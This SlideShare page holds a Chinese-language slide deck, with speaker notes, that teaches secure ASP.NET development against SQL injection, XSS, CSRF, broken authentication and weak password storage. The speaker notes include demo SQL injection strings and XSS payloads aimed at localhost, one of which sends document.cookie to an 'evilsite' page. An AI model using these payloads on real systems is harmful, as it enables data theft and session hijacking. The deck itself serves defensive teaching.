.NET Security Application/Web Development - Part II
•Download as PPTX, PDF•
4 likes•461 views
Community sharing session for how to development secure web application.
Recommended
Recommended
More Related Content
What's hot
What's hot (20)
Similar to .NET Security Application/Web Development - Part II
Similar to .NET Security Application/Web Development - Part II (20)
More from Chen-Tien Tsai
More from Chen-Tien Tsai (20)
.NET Security Application/Web Development - Part II
- 1. .NET 安全應用程式開發 – 開發實戰 .NET Security Application Development – Part II Blackie Tsai blackie1019@gmail.com August 2018
- 2. 課程大綱 • .NET 安全開發 – 常見問題防禦 • 注入攻擊(Injection) • 跨網站指令碼(XSS) • 認證與 Session 破壞(Broken Authentication and Session Management) • 不安全的物件參考(Insecure Direct Object Reference) • 跨網站偽造請求(CSRF) • 不適當的安全配置(Security Misconfiguration) • 不安全的加密存儲方式(Insecure Cryptographic Storage) • .NET 安全開發 – ASP.NET Web From 與 ASP.NET MVC 補充
- 4. 構成不受信任的數據的元素 • 未驗證完整性 • 有害的內容 • 資料中包含多餘的承載 • SQL Injection 與 Command Injection • XSS • Binaries 包含惡意執行與攻擊
- 5. 常見非信任資料的來源 • From the user • URL 中的 QueryString 或 Routing • Form Post • From the browser • Cookie • Request Headers • From any number of other locations • 外部裝置 • Database
- 6. • 不要使用 DB Owner ，因為權限太 高 • 只給予適當且恰到好處的資料 • 不要使用 Select * from Table • 資料庫、資料表、預存程序等對應且 足夠的權限 • 妥善使用資料庫的 Logins 與 Users 改善- DB 權限與資料顯示
- 7. 原始版本
- 8. 改善- 使用 Parameter 取代 inline
- 9. 改善- 使用 Store Procedure
- 10. 白名單與黑名單 • 應始終針對已知良好值的白名單驗證所有不受信任的數據 • 白名單(Whitelist)描述了我們認為安全的數據 • 這是一個非常明確的控制 • 它嚴格過濾掉我們不信任的任何東西 • 黑名單描(Blacklist)述了我們知道哪些數據是危險的 • 這是一個非常隱含的控制 • 它假定列表中沒有的東西總是安全的
- 11. 白名單的準則 • 明確的型別轉換 • Integer, Date, GUID • 使用正規表態式(Regular Express) • 可以有規則的大幅度過濾已知模式的資料 //信用卡檢查 ‘/^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|622((12[6-9]|1[3-9][0-9])|([2-8][0-9][0- 9])|(9(([0-1][0-9])|(2[0-5]))))[0-9]{10}|64[4-9][0-9]{13}|65[0-9]{14}|3(?:0[0-5]|[68][0-9])[0- 9]{11}|3[47][0-9]{13})*$/’ //檢查IP位址 ‘/^((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))*$/’ • 已知的明確事物 • ISO 國際碼, 產品支援的分類與顏色
- 12. 改善- 使用 Whitelist
- 13. 改善- 使用 Entity Framework
- 14. 改善- 保護 Store Procedure
- 15. 跨網站指令碼(XSS)
- 16. XSS攻擊的概念 http://localhost:8002/Search.aspx?q=apple <br>You searched for <h2>apple</2></br>
- 17. 輸出編碼 • 查詢永不允許標記語言，只能放入所需資料 • XSS攻擊是可能的，因應用程式允許XSS能透過標記語言與資料更改網頁 內容中的呈現甚至流程 • 為了降低XSS的風險，我們希望確保搜索詞完全按照輸入的內容與方式顯 示，<i>lag</ i> 變成 • 使用 Server.HtmlEncode() • 使用已被證實的良好第三方套件實作輸出編碼 Context Encoded string HTML <i>lag</i> JavaScript x3cix3elagx3cx2fix3e CSS 00003Ci00003Elag00003C00002Fi00003E
- 18. • CSS • HTML • HTML attribute • HTML form URL • JavaScript • LDAP distinguished name • LDAP filter • URL • URL path • XML • XML attribute 輸出編碼內容
- 19. 原始版本
- 21. 改善: AntiXss 套件 需要額外透過NuGet新增Anti XSS 套件: https://www.nuget.org/packages/AntiXSS/
- 22. ASP.NET Web Form 控制項編碼 System.Web.UI 控制項 HTML Encoded 狀態 https://1drv.ms/w/s!Arq-faMowY2FiVEY63rn3r389Cox Control Property HTML Encoded BasePartialCachingControl AppRelativeTemplateSourceDirectory FALSE Control AppRelativeTemplateSourceDirectory FALSE DataSourceControl AppRelativeTemplateSourceDirectory FALSE HierarchicalDataSourceControl AppRelativeTemplateSourceDirectory FALSE HtmlControls.HtmlAnchor HRef FALSE HtmlControls.HtmlAnchor Name TRUE HtmlControls.HtmlAnchor Target TRUE
- 23. • 預設已經支援client XSS • <p>@("<i>Hihi</i>")</p> • <p>@Html.Label("<i>Hihi</i>")</p> • @Html.Raw() 可以輸出未經 HTML 編碼的內容 • <p>@Html.Raw("<i>Hihi</i>")</p> • 如果需要輸出@，可以考慮@("@") • <p>@Html.Label("<i>Hihi</i>")</p> ASP.NET Web MVC
- 24. 改善: Regax
- 25. • 預設啟用 • ASP.NET Web Form • 整個網站設定，可以從 Web Config 設定 • 單一頁面設定，可以從各 Web Form Page 設定 • 單一控制設定，可以從各 Control 設定 • ASP.NET 4.5 之後支援 • <pages validateRequest="false"> • <asp:Label runat="server" ID="SearchTerm" ValidateRequestMode="Disabled"/> • var searchTerm = Request.Unvalidated.QueryString["q"]; 改善: requestValidation
- 26. • ASP.NET MVC 沒有 requestValidation • Controller 用 [ValidateInput(false)] 過濾 • Model 用 [AllowHtml] 改善: ValidateInput 與 AllowHtml
- 27. • ASP.NET 4.0 後支援 • 可根據request data 選擇客製化驗證支援 • 需在web.config 註冊 requestValidationType <system.web> <httpRuntime requestValidationType="CustomReque stValidation"/> </system.web> 改善: 延伸 Request Validation
- 28. • 從資料讀出端繫結時修正 • 透過 AntiXssEncoder 過濾資料 改善: ASP.NET Web Control 預防
- 30. 認證與 Session 破壞(Broken Authentication and Session Management)
- 31. HTTP Stateless • HTTP 是無狀態的協定 • 請求完全獨立，以前的連接與後續連接沒有關係 • 具唯一性，需要手動構建跨多個請求以識別同一用戶 • 我們通過在請求中持久保存用戶特定的用戶識別數據來實現辨識同一帳戶的功能 • 透過 Session 產生一個唯一識別值 • 將此識別值放入URL內 • 相關的每個子請求透過此識別值達成識別
- 32. Session 儲存方式 • Session Persistence 有四種： • UseUri • 僅透過 URL • UseCookies • 僅透過 Cookie • UseDeviceProfile • 會先確定瀏覽器是否支持cookie，如果不支持則返回URL • AutoDect • 確定是否在瀏覽器中啟用了cookie，如果沒有則回退到URL
- 33. 改善: 將 Session 存於 Cookie 內 • 透過 Session 產生一個唯一識別值 • 將此識別值放入 Cookie 內 • 相關的每個子請求透過此識別值達成識別 • 此作法需要在瀏覽器內啟用 Cookie 功能 • 但這樣會有額外的風險容易將 Cookie 暴露，必須注意CSRF與其他安全問題
- 34. 改善: 認證實作與設定調校 • 帳號註冊的實作與登入功能很重要 • 密碼加密很重要！ • 如何加密很重要！ • 提高密碼標準！密詞（passphrase）＞常見規則 • ASP.NET 可透過程式也可由 web.config 設定逾時時間 • Session timeout 預設為 20 分鐘 • Forms authentication timeout 預設為 30 分鐘 • Sliding forms timeout • Fixed forms timeout • 用密碼重置過程取代重新發送密碼 • 保護 cookie 中的會話ID • 針對 XSS 風險的設定對應的保護措施 • 不要通過不安全的連接傳輸敏感數據 iThome : 現代密碼要求數字與字母混合、大小寫，發明者很後悔 https://www.ithome.com.tw/news/116127
- 36. 不安全的物件參考的風險 • 如果可以操控參考使得它以未經授權的方式引用其他記錄，則存在此風險 • 行為模式（如遞增或遞減的整數） • 列表頁數、會員編號、訂單編號 • 用戶名稱 • 可被取用的個人資訊 • 身分證字號、email、電話等 • 可以透過手動或自動腳本就解析出的內容 • 必須假設任何能看到的資訊都處於不安全的環境 • 常見用詞 • all, none
- 37. 改善: 非直接的物件對應 • 將你的真實資料再經過一次即時的抽象對應處理(mapping) • 使用無模式的 GUID 抽象文字、數字、客製編號抽象對應 • 對應是暫時的 • 對應會因為使用者而不一樣 • 對應是隨機的 • 如: • http://mybank.com/Account?id=534982345 • http://mybank.com/Account?id=fyzFgYEzi2r97XRQojYbsXl78YKV1IsIHCHVWUnu2Lc1 • http://mybank.com/Account?id=534982346 • http://mybank.com/Account?id=gZAH9ZD1JzVbaCsKJOkd68tHXhAeEQMVVP4xJ92pZkw1 • http://mybank.com/Account?id=534982347 • http://mybank.com/Account?id=C0BXgoGw03oCiiREN5aJCgTtERBlxh7DlcBpwQRXjNk1 • 需要注意的部分 • 多台主機使用時須思考分散處理機制 • 實作可能會有些許效能的問題或是空間換時間
- 38. 改善: Owin 1. Nuget 安裝 • Microsoft.Owin.Host.SystemWeb、Microsoft.Owin.Security.Cookies兩個套件。 2. 建立Startup的Class內 • 識別的Cookie名稱 • 無權限時導頁 3. 建立驗證資料的Action: • AllowAnonymous • Authorize • Authorize((Roles = "Payer")) 4. 在Action上設定適合的Attribute。 User.Identity • 是否已認證 => User.Identity.IsAuthenticated • 取得識別的Cookie名稱 => User.Identity.AuthenticationType • 取得設定的Name => User.Identity.Name • 取的當前是否有該腳色授權 => User.IsInRole • 取得此驗證所有儲存資料 => IEnumerable<Claim> claims = ((ClaimsIdentity)User.Identity).Claims;
- 39. 以 ASP.NET MVC 為例
- 42. 跨網站偽造請求(CSRF)
- 43. 什麼弱點會遭成 CSRF • CSRF的攻擊因為是請求可預測 • 重建一個遵循與合法結構相同的結構的請求（路徑和參數） • 經過身份驗證的 Session 通過 cookie 被保留 • Cookie隨每次請求一起發送到指定 Domain • 駭客透過創立超連結注入惡意的合法請求 • 透過 URL query string 或是 post data • 由受害者的瀏覽器被欺騙所導致
- 44. 改善: anti-forgery tokens • 透過添加隨機 token 建立請求獨立性 • 此 token 是瀏覽器(透過cookie)與當前頁面都必須知道的一個值
- 45. • View • @HTML.AntiforgeryToken() • Controller • [validateAntiForgeryToken] ASP.NET MVC
- 46. View
- 47. Controller
- 48. • Page.ViewStateUserKey • Page_Init 手動放入 token 到 cookie 內 ASP.NET Web Form
- 49. Const variable
- 50. Page_Init
- 51. Page_Preload
- 52. 改善: 可避免 CSRF 的其他方法 • 透過 referrer checking 限制跨網站請求 • 新增客製的 httpModule 處理 • https://msdn.microsoft.com/en-us/library/ms227673(v=vs.100).aspx • 禁用 HTTP GET 於有風險的頁面 • 驗證請求 IP 與屬於當前瀏覽頁的主機內
- 54. 改善: 瀏覽器的協助 • 設定禁止 Cross-Origin Resource Sharing or CORS • 現在瀏覽器有預設防禦 CSRF 的機制 • 同於 XSS 的瀏覽器防禦，請不要僅依賴此機制作為唯一預防
- 56. 可嘗試的項目 • 維護套件可升級性，並時常透過NuGet進行更新 • 設定客製化錯誤並關閉追蹤功能 • 加密 web.config 內的敏感資料 • 透過 web.config xdt:Transform 轉換 web.config 的內容 • 幫主機啟用零售模式(retail mode)
- 57. 改善: 設定客製化錯誤並關閉追蹤功能 • 可設定 mode(On, Off, RemoteOnly) • 可針對 statusCode 導向不同 error 網頁 <customErrors mode="RemoteOnly" defaultRedirect="Error.htm" redirectMode="ResponseRewrite"> <error statusCode="403" redirect="NoAccess.htm" /> <error statusCode="404" redirect="FileNotFound.htm" /> </customErrors>
- 58. 改善:加密 web.config 內的敏感資料 • 使用ASP.NET IIS註冊工具(Aspnet_regiis.exe)，可以使用 RSA 金鑰容器 幫 web.config 區段字串加密
- 59. 兩種加密演算法 •DpapiProtectedConfigurationProvider. • 使用 Windows Data Protection API (DPAPI) 加密和解密資料，使用3DES加密 演算法。 •RsaProtectedConfigurationProvider • 使用 RSA 加密演算法加密和解密資料。 • 只有RSA才能匯出金鑰到其他伺服器使用。
- 60. 改善 : 轉換 web.config 內容 • 針對 Debug/Release 的 Config 做特殊處理 • xdt:Transform="Insert" • xdt:Transform="Replace" • xdt:Transform="RemoveAttributes(debug)" • xdt:Transform="SetAttributes" xdt:Locator="Match(name)“ <connectionStrings> <add name="DefaultConnection" providerName="System.Data.SqlClient" connectionString="Data Source=172.25.12.116;Initial Catalog=db1;User Id=user;Password=xxxxx;" xdt:Transform="SetAttributes" xdt:Locator="Match(name)"/> </connectionStrings> <system.web> <customErrors xdt:Transform="Replace" mode="RemoteOnly" defaultRedirect="~/Error/Index" redirectMode="ResponseRewrite"/> <compilation xdt:Transform="RemoveAttributes(debug)" /> <trace xdt:Transform ="Insert" enabled="false" /> </system.web>
- 61. 改善: retail mode 強制啟用安全性設定 • 可將 ASP.NET 停用特定的組態設定，例如追蹤輸出、自訂錯誤和偵錯功 能 • 可以用 Administrator 身份對整台主機修改 Machine.config <system.web> <deployment retail="true" /> </system.web> https://msdn.microsoft.com/en-us/library/ms228298(v=vs.100).aspx
- 63. 常見密碼處理 • 明碼(Plain text) • 加密(Encrypted) • AES, DES, 3DES • 加密可逆 • 雜湊(Hash) • MD5, SHA-1, SHA-256, SHA-512 • 雜湊不可逆 • 雜湊 !=加密 • 雜湊容易破解 • 21bd12dc183f740ee76f27b78eb39c8ad972a757 • Rainbow Hash Tables 有風險 • 檔案太大處理又太慢 • Pre-compute 易於防守也易於攻擊
- 64. 加密方式 • 初始向量(Initialization vector, IV) • 對稱加密(Symmetric Encryption) • 單一私鑰(Private key)做加解密 • 非對稱(Asymmetric Encryption) • 一把公鑰(public key)，可以公開出去 • 一把私鑰(private key)解密，只有發行人(自己)擁有 • 通常私鑰被存放至 web.config 中
- 65. 改善: 密碼加鹽 • 鹽=>產生亂數大小的區塊並添加至原始密碼中，儲存時同時將密碼密文 與鹽同時儲存 • 同樣的密碼會產生不同的密碼密文 • 簡易雜湊法 (Pure Hash) • MD5(明碼 1234 ) => 81dc9bdb52d04dc20036dbd8313ed055 • 加料式雜湊法 (Salted Hash) • MD5(明碼 1234 + 鹽 saltsaltsalt ) => e80bdfdab3f83500d6330c6068eeeef4 • 複合式雜湊法 • 雜湊兩次 • 雜湊方法2 ( 雜湊方法1 ( 明碼 + 鹽 ) ) • 加兩次鹽 • 鹽 + ( 雜湊方法1 ( 明碼 +鹽 )
- 66. 改善: 針對雜湊強化 • 用 MembershipProvider 取代 SqlSessionProvider • 更強的密碼雜湊處理 • System.Web.Helpers • Crypto Class的 HashPassword() => PBKDF2 • Bcrypt.Net • Zetetic.Security
- 67. 改善: 針對加密強化 • 使用 Data Protection application programming interface (DPAPI) 強 化 • System.Security.Cryptography;
- 68. .NET Security OWASP Cheat Sheet https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet • Updating the Framework • Data Access • Encryption • General • Security Essentials MVC Project Template • https://github.com/johnstaveley/SecurityEssentials/
- 69. 改善: 使用 C# Strong Name 套件 • 它是一種組件識別 (asembly Identify) 機制，特性如下: • 具有強力的組件識別能力，可保證組件是來自開發商，而不是第三人。 • .NET Framework 的載入器會檢查組件的完整性，包含組件內的憑證的有效性，但 組件必須要是由公開 CA 核發的憑證。 • 強式組件的版本識別能力會受到簽章的保護。 • Strong Name 分為幾個部份： • System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 • 強式名稱的組件不但可以強化組件的識別強度，它也是組件要安裝至 GAC (Global Assembly Cache) 的必要條件 • 強式名稱雖然具有很強的組件識別能力，但它卻沒有可保護程式不會被反 組譯的能力
- 70. ViewState MachineKey • 應用於ViewState加密、Forms Authentication及Membership Cookie 加密、Out-of-Process Session資料加密、Membership密碼雜湊(或加 密)... 等運算。 • 預設為自動產生 • ASP.NET Web Form 定期自定義更換 ViewState MachineKey
- 71. 改善 : 更換 ViewStateUserKey • ASP.NET Web Form 才需處理 • 可有效避免 CSRF 攻擊 protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; }
- 72. 6個安全編碼檢視小技巧 • 檔案的輸入與輸出 • 網站參數 • 密碼相關 • 執行危險函數 • 網絡通訊端口 • 敏感性資訊註釋
- 73. • 檢查重點: 檢查的重點在於檔案檔名, 路徑與資料輸入的合法性較驗 • 資訊安全風險: • 程式碼關鍵字範例: • openFileOutput, FileInputStream, FilterInputStream, SequenceInputStream 檔案的輸入與輸出
- 74. • 檢查重點: 資料輸入的驗證 • 資訊安全風險: 注入攻擊 • 如 XSS, SQL Injection • 程式碼關鍵字範例: • getParameterNames, getParameter, getParameterValues, getParamaterMap • getHeader, getRequestURL, referer, Statement, StartWith, EndWith • HTML input 網站參數
- 75. • 檢查重點: 弱加密算法 • 資訊安全風險: 使用不安全的加密算法, 導致黑客破解密碼系統 • 程式碼關鍵字範例: • Random, SHA-1, DES, MD5, RC4 • password, pass, pwd, encryp, rand, 密碼相關
- 76. • 檢查重點: 程式中採用危險執行函數, 建議不使用這些函數 • 資訊安全風險: 黑客利用參數輸入執行腳本, 造成 OS command injection • 程式碼關鍵字範例: • eval, getRuntime.exec, getRuntime.cmd, shutdown 執行危險函數
- 77. • 檢查重點: 程式中間接開放或是連接其他網絡通訊端口 • 資訊安全風險: 額外的通訊端口可能造成黑客網絡攻擊的管道 造成後門 • 程式碼關鍵字範例: • 1024~65535, * 網絡通訊端口
- 78. • 檢查重點: 程式碼過多的註解 • 如加密算法說明, 後台鑑權處理邏輯, 作者訊息, 電話, email, 帳號密碼等 • 資訊安全風險 • 黑客透過這些註解獲取攻擊的方式 • 程式碼關鍵字範例 //Default Password= pass.123 敏感性資訊註釋
Editor's Notes
- Part II (3 hr, 100 pages) Ch.3 - .NET 安全開發 - Data Validation(45 mins) Ch.4 - .NET 安全開發 - Authentication & Session Management(45 mins) Ch.5 - .NET 安全開發 - .NET Framework Security(45 mins) Ch.6 - .NET 安全開發 - .NET Core and ASP.NET Core Framework Security(45 mins)
- DB Owner => READ, WRITE, UPDATE, DELETE 全部的資料表與資料庫 http://localhost:8001/Product.aspx?ProductSubCategoryId=1 or 1=1 http://localhost:8001/Product.aspx?ProductSubCategoryId=(select+top+1%5bCardNumber%5d+from+CreditCard) (select name from sysobjects whe)
- 使用SQL Server Profiler trace 當前執行的TSQL
- Bib-Shorts' or 1=1 --
- http://localhost:8002/Search.aspx?q=<b>lag</b> http://localhost:8002/Search.aspx?q=lag<script>alert('test')</script> http://localhost:8002/Search.aspx?q=lag<script>location.href='http://google.com?q=123'</script> http://localhost:8002/Search.aspx?q=lag<script>location.href='http://127.0.0.1:5500/evilsite.html?cookie='%2bdocument.cookie;</script> http://pcse.pw/96FJ5 http://shaurong.blogspot.com/2017/06/microsoft-anti-xss-library-v43-anti.html https://www.momoshop.com.tw/goods/GoodsDetail.jsp?i_code=5650930
- The search term was never intended to be markup, only ever data XSS attacks are possible because the app allows an XSS payload to break out of the data context and change the markup context To mitigate the risk of XSS, we want to make sure the search term appears on the screen exactly as it was entered So how do we write markup to display “<i>Lager</i>” on the screen? <i>Lager</i>
- DB Owner => READ, WRITE, UPDATE, DELETE 全部的資料表與資料庫 http://localhost:8001/Product.aspx?ProductSubCategoryId=1 or 1=1 http://localhost:8001/Product.aspx?ProductSubCategoryId=(select+top+1%5bCardNumber%5d+from+CreditCard) (select name from sysobjects whe)
- .NET 4.5 之後內建 System.Web.Security.AntiXss 1. 引入 Using System.Web.Security.AntiXss 2. 替換 SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);
- Nuget 載入 AntiXss Library 1. 引入 Using System.Web.Security.AntiXss 2. 替換 SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);
- http://localhost:8002/EncodingTest.aspx
- Using System.Text.Regularexpressions
- 如果是4.5 Framework 以上，自動會將所有設定改為 Website base，所以我們必須透過以下方式 單一控制設定，可以從各 Control 設定需要4.5 Framework以上的版本
- protected void SearchGrid_RowDataBound(object sender, GridViewRowEventArgs e) { if (e.Row.RowType != DataControlRowType.DataRow) { return; } var hyperLink = (HyperLink) e.Row.Cells[0].Controls[0]; hyperLink.Text = AntiXssEncoder.HtmlEncode(hyperLink.Text, true); } OnRowDataBound="SearchGrid_RowDataBound"
- <system.webServer> <httpProtocol> <customHeaders> <clear /> <add name="X-XSS-Protection" value="0"/> </customHeaders> </httpProtocol> </system.webServer>
- http://localhost:8003/(S(0yyxbhy2xc43xzw10ztb0unp))/
- What’s wrong with this? URLs are often shared (social media, email) URLs are also often logged (proxies, web server logs) URLs are retrievable from browser history
- UseCookies為預設選項
- 透過此方法，除非有人能取得你的請求標頭(header) 才能將cookie 資料讀出
- 看一個新的專案看一下ＤＥＭＯ ＊切換資料連線到以建立的資料庫 Fixed forms timeout 是一個較好的處理
- 用戶名稱又被成為natural key, 網站隨處可見，很容易取得的ＰＫ
- Step 1. 建立空的專案，但加入資料夾和核心參考的部分勾選『MVC』。 Step 2. 安裝Microsoft.Owin.Host.SystemWeb、Microsoft.Owin.Security.Cookies兩個套件。 Step 3. Startup.cs public void Configuration(IAppBuilder app) { app.UseCookieAuthentication(new CookieAuthenticationOptions { //識別的Cookie名稱 AuthenticationType = "AuthorizeDemoCookie", //無權限時導頁 LoginPath = new PathString("/Home/index") }); } Step 4. 建立驗證資料的Action [HttpPost] public ActionResult Login(string account,string password) { LoginService service = new LoginService(); //驗證登入資訊是否有對應之使用者 var userInfo = service.GetUser(account, password); if (userInfo == null) { //如無對應使用者導頁 return RedirectToAction("Signup"); } //儲存使用者資訊 ClaimsIdentity identity = new ClaimsIdentity(new[] { new Claim(ClaimTypes.Name, userInfo.Name), new Claim("Id", userInfo.Id), new Claim(ClaimTypes.Role, userInfo.Group) }, "AuthorizeDemoCookie"); Request.GetOwinContext().Authentication.SignIn(identity); //通過驗證者導頁 return RedirectToAction("IndexPro"); } Step5 [AllowAnonymous] //不須授權 public ActionResult Signup() { return View(); } [Authorize] //有授權即可進入 public ActionResult MemberIndex() { return View(); } [Authorize(Roles = "Payer")] //有授權且為指定角色才可進入 public ActionResult IndexPro() { return View(); } https://dotblogs.com.tw/oldnick/2017/12/22/authorize
- Authenticated sessions are persisted via cookies The cookie is sent with every request to the domain The attacking site recreates a legitimately formed request to the target site Although the request has a malicious payload (query string parameters or post data) The victim’s browser is tricked into issuing the request For all intents and purposes, the target website views it as a legitimate request
- 會產生兩種 tokens 至兩處: Form body Cookie
- 會產生兩種 tokens 至兩處: Form body Cookie
- 透過 referrer checking 限制跨網站請求 禁用 HTTP GET 於有風險的頁面 驗證請求 IP 與屬於當前瀏覽頁的主機內
- Configuring custom errors and tracing Keeping packages current with NuGet Encrypting sensitive data in the web.config Using config transforms to keep the web.config secure Enabling retail mode on the server 維護套件可升級性，並時常透過NuGet進行更新
- 丟出HTTP Status 500 錯誤會讓Hacker更容易集中攻擊並發掘應用程序相關錯誤
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319> aspnet_regiis.exe -pe connectionStrings "d:\2.Repo\Aspnet_regiis.Test\Aspnet_regiis.Test“ aspnet_regiis.exe -pd connectionStrings "d:\2.Repo\Aspnet_regiis.Test\Aspnet_regiis.Test“ 執行加解密時，預設會使用執行當下的電腦設備所屬金鑰進行，亦表示若將此加密後的資料佈署到其他電腦時會失敗
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\Machine.config
- 密碼恢復工具ocl-Hashcat-plus
- Encryption is a reversible process For password storage, it usually involved a single private key to both encrypt and decrypt (symmetric encryption) Hashing is a one-way process The ciphertext of a hashed password cannot be un-hashed A hash is a keyless, one-way, deterministic algorithm Every time the same algorithm is used on the same password it produces the same result
- SSL 就是用Asymmetric 通常私鑰被存放至web.config中，建議改用環境變數
- https://blogs.technet.microsoft.com/twsecurity/2014/02/10/163/ 明碼 儲存是將使用者輸入的密碼直接儲存於資料庫欄位之中，不經過任何修飾。利用這種方法儲存密碼是最不安全的，因為只要資料庫遭到入侵，使用者的密碼資訊即會被洩漏。 簡易雜湊法 (Pure Hash) 簡易雜湊法是單只用一種雜湊演算法來保護明碼。 在傳統的情況下，當密碼經過雜湊演算法 (如 MD5) 加密後是很難透過特定演算法推回原始值的，但如果透過大型的對照表，即有可能對照出原始的明碼，所以安全性仍不夠高。 加料式雜湊法 (Salted Hash) 加料式雜湊法是將欲加密之明碼加上固定的一段字串 (又稱為鹽) ，再經過簡易雜湊法而成。 原先第一段雜湊可能會經由大量的對照表而還原 隨者鹽的複雜度增加，即使加了鹽後的原始密碼被破解，要得到真實密碼所需要的時間仍會大幅增加。 4. 複合式雜湊法 複合式雜湊法是利用兩種方法來增加雜湊的複雜度，利用這種方法即可以大幅提升密碼儲存的安全性。 例如: 雜湊兩次 雜湊方法2 ( 雜湊方法1 ( 明碼 + 鹽 ) ) 加兩次鹽 鹽 + ( 雜湊方法1 ( 明碼 +鹽 )
- 密碼加鹽能大幅度強化密碼複雜度，但對於被破解也只是延長時間 需要跟效能取得一個平衡 正常加密使用server CPU，但暴力攻擊卻使用GPU。兩者差別數千萬倍 必須思考如何升級加密演算法 強迫使用者登入或超過時間後強制要求手動觸發 系統有辦法更換
- https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet
- 大多數的 .NET 開發人員不會使用到這樣東西，不過如果是從事 Framework 或是可轉散布型的軟體的開發人員，就需要知道這東西， GAC 的位置在 %WINDIR%\Microsoft.NET\assembly\ (不同的 Windows 版本路徑會不同)，而如果應用程式開發商需要安裝組件到 GAC 時，可以使用 .NET Framework 工具 gacutil.exe 來安裝組件。
- 在ASP.NET中，MachineKey被廣泛應用於ViewState加密、Forms Authentication及Membership Cookie加密、Out-of-Process Session資料加密、Membership密碼雜湊(或加密)... 等運算。由於預設為自動產生，大部分的人(甚至開發者)不曾感受過它的存在，但它卻一直默默扮演捍衛ASP.NET安全的重要角色。比較有機會察覺到MachineKey的場合，多半出現在多台伺服器組成Web Farm的架構中，此時需手動將各伺服器的MachineKey設成一致，以避免ViewState MAC驗證失敗問題。(延伸閱讀: 保哥的文章) http://blog.darkthread.net/post-2011-11-20-inside-aspnet-autogenkeys.aspx ASP.NET Web Form 定期自定義更換 ViewState MachineKey 當指定AutoGenerate時，MachineKey的金鑰資料來自Registry(IIS5則是存在Local Security Authority, LSA): HKEY_LOCAL_MACHINE\Software\Microsoft\ASP.NET 及HKEY_CURRENT_USER\Software\Microsoft\ASP.NET中 ，故會依ASP.NET AppPool執行身分而不同。當ASP.NET程式建立時，會先尋找HKEY_CURRENT_USER(HKCU)，找不到時再找HKEY_LOCAL_MACHINE(HKLM)，若HKLM也沒有，就會在HKLM下建立新的金鑰資料，若以上動作都失敗，則當場產生新的金鑰組。